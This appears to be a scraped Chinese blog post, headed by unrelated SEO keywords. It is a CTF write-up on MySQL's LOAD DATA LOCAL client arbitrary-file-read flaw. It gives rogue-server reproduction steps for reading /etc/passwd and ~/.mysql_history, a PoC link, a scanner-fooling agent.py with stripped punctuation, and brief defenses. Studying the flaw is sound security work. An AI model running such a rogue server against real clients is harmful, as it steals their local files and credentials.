网站开发具体步骤,凡科建站做的网站收录慢吗,企业邮箱如何申请注册,有哪些做ppt用图片的网站有哪些问题前言最近打了 DDCTF和 国赛#xff0c;发现都考了一个知识点#xff0c;也就是 MysqlLocalInfile客户端文件读取这个漏洞#xff0c;下面来详细的学习一个这个漏洞。漏洞形成原因此漏洞形成的主要原因在于 LOAD DATA INFILE这个语法上。在官方文档中的介绍为#xff1a;该L… 前言最近打了 DDCTF和 国赛发现都考了一个知识点也就是 MysqlLocalInfile客户端文件读取这个漏洞下面来详细的学习一个这个漏洞。漏洞形成原因此漏洞形成的主要原因在于 LOAD DATA INFILE这个语法上。在官方文档中的介绍为该LOAD DATA语句以非常高的速度将文本文件中的行读入表中。 LOAD DATA是补充 SELECT ... INTO OUTFILE。请参见[第13.2.10.1节“SELECT ... INTO语法”(https://dev.mysql.com/doc/refman/8.0/en/select-into.html)]。)要将表中的数据写入文件请使用 SELECT ... INTO OUTFILE。要将文件读回表中请使用 LOAD DATA。两个语句的FIELDS和LINES子句的语法 相同。以下为 LOAD DATA INFILE的两种用法:从本地服务器导入数据到规定的表里首先我在本地的 /var/lib/mysqld/1.txt中添加内容 Youhave a girlfriend,执行命令 load data infile/var/lib/mysql-files/1.txtintotable users(name)成功添加数据.从客户端导入数据到服务器上规定的表中客户端Ubuntu18.04 IP服务端Centos7在客户端执行命令 mysql-h148.70.151.111-u root-p-D test-eload data local infile /etc/passwd into table user fields terminated by ,;在服务端查看是否添加成果数据数据成功回显。而造成漏洞的也是第二点操作通过客户端与服务端的连接来读取任意文件。从数据包传递层面分析客户端与服务端的文件传输分析环境Ubuntu18.04mysql 5.7本地Mysql输入命令 mysql-u root-p-h127.0.0.1同时tcpdump抓取数据包 tcpdump-i lo-l port3306-w los.pcap下面是抓到的数据包我们来分析一下客户端与服务端的 load datalocal过程1.服务器向客户端发送 Greeting包包含服务器banner信息(协议线程ID版本mysql认证类型等)2.客户端向服务端发送 LoginRequests数据包包含客户端的banner信息以及 LoadDataLocal选项和用户名以及md5加密过的密码3.Mysql客户端发送请求探测目标平台的指纹信息以及进行初始化查询(大多数Mysql客户端在握手后都至少会发送一次请求)这个请求是一个很关键的步骤在下面我们还会继续解释的。4.客户端发起Request Query5.服务端响应对应客户端请求文件名的数据包6.客户端将所请求文件内容发给服务端漏洞利用产生的漏洞为在客户端发送至少一次查询后服务端返回Response TABULAR数据包告诉客户端我们想要读取文件的文件名(实现任意文件读取)由于客户端对于服务端的完全信任我们就读取到了我们想要的文件。原理在Mysql协议中客户端是不会储存自身请求的而是通过服务端的响应来执行操作。利用我们可以自己去构造一个恶意的Mysql的服务器来实现读取客户端中我们想要的文件构造服务器最重要的的部分是在任意时候都能回复一个file-transfer请求而不是只在客户端发送LOADDATA LOCAL数据包时才去响应回复file-transfer请求。所以只需要客户端在连接服务端后发送一个查询请求服务端立刻回复一个 file-transfer即可读取到客户端的本地文件而常见的 MySQL 客户端都会在建立连接后发送一个请求用来判断服务端的指纹信息(如 selectversion_commentlimit1)这样就达到了我们想要的要求。所以恶意服务器与客户端交互的流程如下构造File-Transfer数据包在官方文档中是有构造示范的我们可以通过官方文档来具体了解一下这个数据包的结构到底是怎么样的通过这张图 0c代表着数据包的长度 000001代表着数据包的序列号从 fb开始后面的内容为返回到客户端的文件名。Pochttps://github.com/allyshka/Rogue-MySql-Serverfile(/etc/passwd,)通过更改file括号中的值可以读取我们想要读到的文件。漏洞复现实验环境攻击机:Centos7 Mysql5.7靶机:Ubuntu18.04 Mysql5.71.首先先将本机的mysql服务关闭: service mysqld stop2.在服务器上运行恶意服务器脚本: python rogue_mysql_ server.py3.靶机远程连接攻击机数据库 mysql-hYour_vps-u root-p-P3306;4.成功得到靶机中 /etc/passwd的敏感数据CTF中的应用这次的DDCTF以及国赛中都出现了Mysql客户端任意文件读取的这个漏洞.下面对利用这个漏洞解答一下DDCTF首先进入页面发现扫描器正好符合我们的漏洞原理在扫描的过程中用弱口令进行 3306端口的爆破登陆所以我们可以利用构造恶意服务器来读取扫描器中的文件。先在服务器上布置 agent.py进行扫描发现回显未扫描出弱口令如果不布置 agent.py回显不存在 mysql服务 ,修改一下 agent.py源码让其以为我们一直开着 mysql。#!/usr/bin/env python# -*- coding: utf-8 -*-# Time : 12/1/2019 2:58 PM# Author : fz# Site :# File : agent.py# Software: PyCharmimport jsonfrom BaseHTTPServer import HTTPServer, BaseHTTPRequestHandlerfrom optparse import OptionParserfrom subprocess import Popen, PIPEclass RequestHandler(BaseHTTPRequestHandler): def do_GET(self): request_path self.path print(\n----- Request Start -----\n) print(request_path :, request_path) print(UA :, self.headers.getheaders(user-agent)) print(self.headers :, self.headers) print() self.send_response(404) self.send_header(Set-Cookie, fooflag) self.end_headers() result self._func() return_str mysqld self.wfile.write(return_str) # self.wfile.write(json.dumps(result)) def do_POST(self): request_path self.path # print(\n----- Request Start -----\n) print(request_path : %s, request_path) request_headers self.headers content_length request_headers.getheaders(content-length) length int(content_length[0]) if content_length else 0 # print(length :, length) print(request_headers : %s % request_headers) print(content : %s % self.rfile.read(length)) # print( self.send_response(404) self.send_header(Set-Cookie, foobar) self.end_headers() result self._func() return_str mysqld self.wfile.write(return_str) # self.wfile.write(json.dumps(result)) def _func(self): netstat Popen([netstat, -tlnp], stdoutPIPE) netstat.wait() ps_list netstat.stdout.readlines() result [] for item in ps_list[2:]: tmp item.split() Local_Address tmp[3] Process_name tmp[6] tmp_dic {local_address: Local_Address, Process_name: Process_name} result.append(tmp_dic) return result do_PUT do_POST do_DELETE do_GETdef main(): port 8123 print(Listening on localhost:%s % port) server HTTPServer((0.0.0.0, port), RequestHandler) server.serve_forever()if __name__ __main__: parser OptionParser() parser.usage ( Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n Run:\n\n) (options, args) parser.parse_args() main()在服务器上运行这个脚本再开启我们的 mysql伪造恶意服务器读取一下 ~/.mysql_history得到 Flag回显防御手段避免使用 local读取本地文件使用 --ssl-modeVERIFY_IDENTITY来建立可信的连接。